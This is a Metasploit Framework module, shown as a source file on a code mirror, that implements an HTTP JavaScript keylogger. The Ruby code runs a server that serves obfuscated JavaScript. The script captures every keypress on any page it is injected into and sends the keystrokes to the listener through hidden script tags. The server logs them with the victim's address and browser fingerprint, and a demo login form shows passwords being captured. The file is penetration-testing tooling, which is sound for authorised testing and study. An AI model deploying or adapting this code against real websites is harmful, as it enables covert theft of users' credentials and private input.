/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/auxiliary/server/capture/http_javascript_keylogger.rb
304 строки
9 KB
bcoles
modules/auxiliary/server/capture: Resolve RuboCop violations
14 май 2025, 17:26
Не верифицирован
14 май 2025, 17:26
3ae2a8f
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Capture: HTTP JavaScript Keylogger', 'Description' => %q{ This modules runs a web server that demonstrates keystroke logging through JavaScript. The DEMO option can be set to enable a page that demonstrates this technique. Future improvements will allow for a configurable template to be used with this module. To use this module with an existing web page, simply add a script source tag pointing to the URL of this service ending in the .js extension. For example, if URIPATH is set to "test", the following URL will load this script into the calling site: http://server:port/test/anything.js }, 'License' => MSF_LICENSE, 'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>', 'hdm'], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [], 'Reliability' => [] } ) ) register_options( [ OptBool.new('DEMO', [true, 'Creates HTML for demo purposes', false]), ] ) end # This is the module's main runtime method def run @seed = Rex::Text.rand_text_alpha(12) @client_cache = {} # Starts Web Server exploit end # This handles the HTTP responses for the Web server def on_request_uri(cli, request) cid = nil if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i cid = ::Regexp.last_match(1) end if !cid && request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i cid = ::Regexp.last_match(1) end data = request.qstring['data'] unless cid cid = generate_client_id(cli, request) print_status("Assigning client identifier '#{cid}'") resp = create_response(302, 'Moved') resp['Content-Type'] = 'text/html' resp['Location'] = request.uri + '?id=' + cid resp['Set-Cookie'] = "id=#{cid}" cli.send_response(resp) return end base_url = generate_base_url(cli, request) # print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}") case request.uri when /\.js(\?|$)/ content_type = 'text/plain' send_response(cli, generate_keylogger_js(base_url, cid), { 'Content-Type' => content_type, 'Set-Cookie' => "id=#{cid}" }) when %r{/demo/?(\?|$)} if datastore['DEMO'] content_type = 'text/html' send_response(cli, generate_demo(base_url, cid), { 'Content-Type' => content_type, 'Set-Cookie' => "id=#{cid}" }) else send_not_found(cli) end else if data nice = process_data(cli, request, cid, data) script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : '' send_response(cli, script, { 'Content-Type' => 'text/plain', 'Set-Cookie' => "id=#{cid}" }) elsif datastore['DEMO'] send_redirect(cli, "/demo/?cid=#{cid}") else send_not_found(cli) end end end # Figure out what our base URL is based on the user submitted # Host header or the address of the client. def generate_base_url(cli, req) port = nil host = Rex::Socket.source_address(cli.peerhost) if req['Host'] host = req['Host'] bits = host.split(':') # Extract the hostname:port sequence from the Host header if (bits.length > 1) && (bits.last.to_i > 0) port = bits.pop.to_i host = bits.join(':') end else port = datastore['SRVPORT'].to_i end prot = !datastore['SSL'].nil? ? 'https://' : 'http://' if Rex::Socket.is_ipv6?(host) host = "[#{host}]" end base = prot + host if !(((prot == 'https') && port.nil?) || ((prot == 'http') && port.nil?)) base << ":#{port}" end base << get_resource end def process_data(cli, request, cid, data) lines = [''] real = '' Rex::Text.uri_decode(data).split(',').each do |char| byte = char.to_s.hex.chr next if byte == "\x00" real << byte case char.to_i # Do Backspace when 8 lines[-1] = lines[-1][0, lines[-1].length - 1] if !lines[-1].empty? when 13 lines << '' else lines[-1] << byte end end nice = lines.join('<CR>').gsub("\t", '<TAB>') real = real.gsub("\x08", '<DEL>') if !@client_cache[cid] fp = fingerprint_user_agent(request['User-Agent'] || '') header = "Browser Keystroke Log\n" header << "=====================\n" header << "Created: #{Time.now}\n" header << "Address: #{cli.peerhost}\n" header << " ID: #{cid}\n" header << " FPrint: #{fp.inspect}\n" header << " URL: #{request.uri}\n" header << "\n" header << "====================\n\n" @client_cache[cid] = { created: Time.now.to_i, path_clean: store_loot('browser.keystrokes.clean', 'text/plain', cli.peerhost, header, "keystrokes_clean_#{cid}.txt", 'Browser Keystroke Logs (Clean)'), path_raw: store_loot('browser.keystrokes.raw', 'text/plain', cli.peerhost, header, "keystrokes_clean_#{cid}.txt", 'Browser Keystroke Logs (Raw)') } print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}") print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}") end ::File.open(@client_cache[cid][:path_clean], 'ab') { |fd| fd.puts nice } ::File.open(@client_cache[cid][:path_raw], 'ab') { |fd| fd.write(real) } if !nice.empty? print_good("[#{cid}] Keys: #{nice}") end nice end def generate_client_id(_cli, _req) '%.8x' % Kernel.rand(0x100000000) end def generate_demo(base_url, cid) # This is the Demo Form Page <HTML> html = <<~EOS <html> <head> <title>Demo Form</title> <script type="text/javascript" src="#{base_url}/#{@seed}.js?id=#{cid}"></script> </head> <body bgcolor="white"> <br><br> <div align="center"> <h1>Keylogger Demo Form</h1> <form method=\"POST\" name=\"logonf\" action=\"#{base_url}/demo/?id=#{cid}\"> <p><font color="red"><i>This form submits data to the Metasploit listener for demonstration purposes.</i></font> <br><br> <table border="0" cellspacing="0" cellpadding="0"> <tr><td>Username:</td> <td><input name="username" size="20"></td> </tr> <tr><td>Password:</td> <td><input type="password" name="password" size="20"></td> </tr> </table> <p align="center"><input type="submit" value="Submit"></p></form> <br/> <textarea cols="80" rows="5" id="results"> </textarea> </div> </body> </html> EOS return html end # This is the JavaScript Key Logger Code def generate_keylogger_js(base_url, cid) targ = Rex::Text.rand_text_alpha(12) code = <<~EOS var c#{@seed} = 0; window.onload = function load#{@seed}(){ l#{@seed} = ","; if (window.addEventListener) { document.addEventListener('keypress', p#{@seed}, true); document.addEventListener('keydown', d#{@seed}, true); } else if (window.attachEvent) { document.attachEvent('onkeypress', p#{@seed}); document.attachEvent('onkeydown', d#{@seed}); } else { document.onkeypress = p#{@seed}; document.onkeydown = d#{@seed}; } } function p#{@seed}(e){ k#{@seed} = (window.event) ? window.event.keyCode : e.which; k#{@seed} = k#{@seed}.toString(16); if (k#{@seed} != "d"){ #{@seed}(k#{@seed}); } } function d#{@seed}(e){ k#{@seed} = (window.event) ? window.event.keyCode : e.which; if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){ #{@seed}(k#{@seed}); } } function #{@seed}(k#{@seed}){ l#{@seed} = l#{@seed} + k#{@seed} + ","; var t#{@seed} = "#{targ}" + c#{@seed}; c#{@seed}++; var f#{@seed}; if (document.all) f#{@seed} = document.createElement("<script name='" + t#{@seed} + "' id='" + t#{@seed} + "'></script>"); else { f#{@seed} = document.createElement("script"); f#{@seed}.setAttribute("id", t#{@seed}); f#{@seed}.setAttribute("name", t#{@seed}); } f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed}); f#{@seed}.style.visibility = "hidden"; document.body.appendChild(f#{@seed}); if (k#{@seed} == 13 || l#{@seed}.length > 3000) l#{@seed} = ","; setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000); } EOS return code end def generate_demo_js_reply(_base_url, _cid, data) code = <<EOS try { document.getElementById("results").value = "Keystrokes: #{data}"; } catch(e) { } EOS return code end end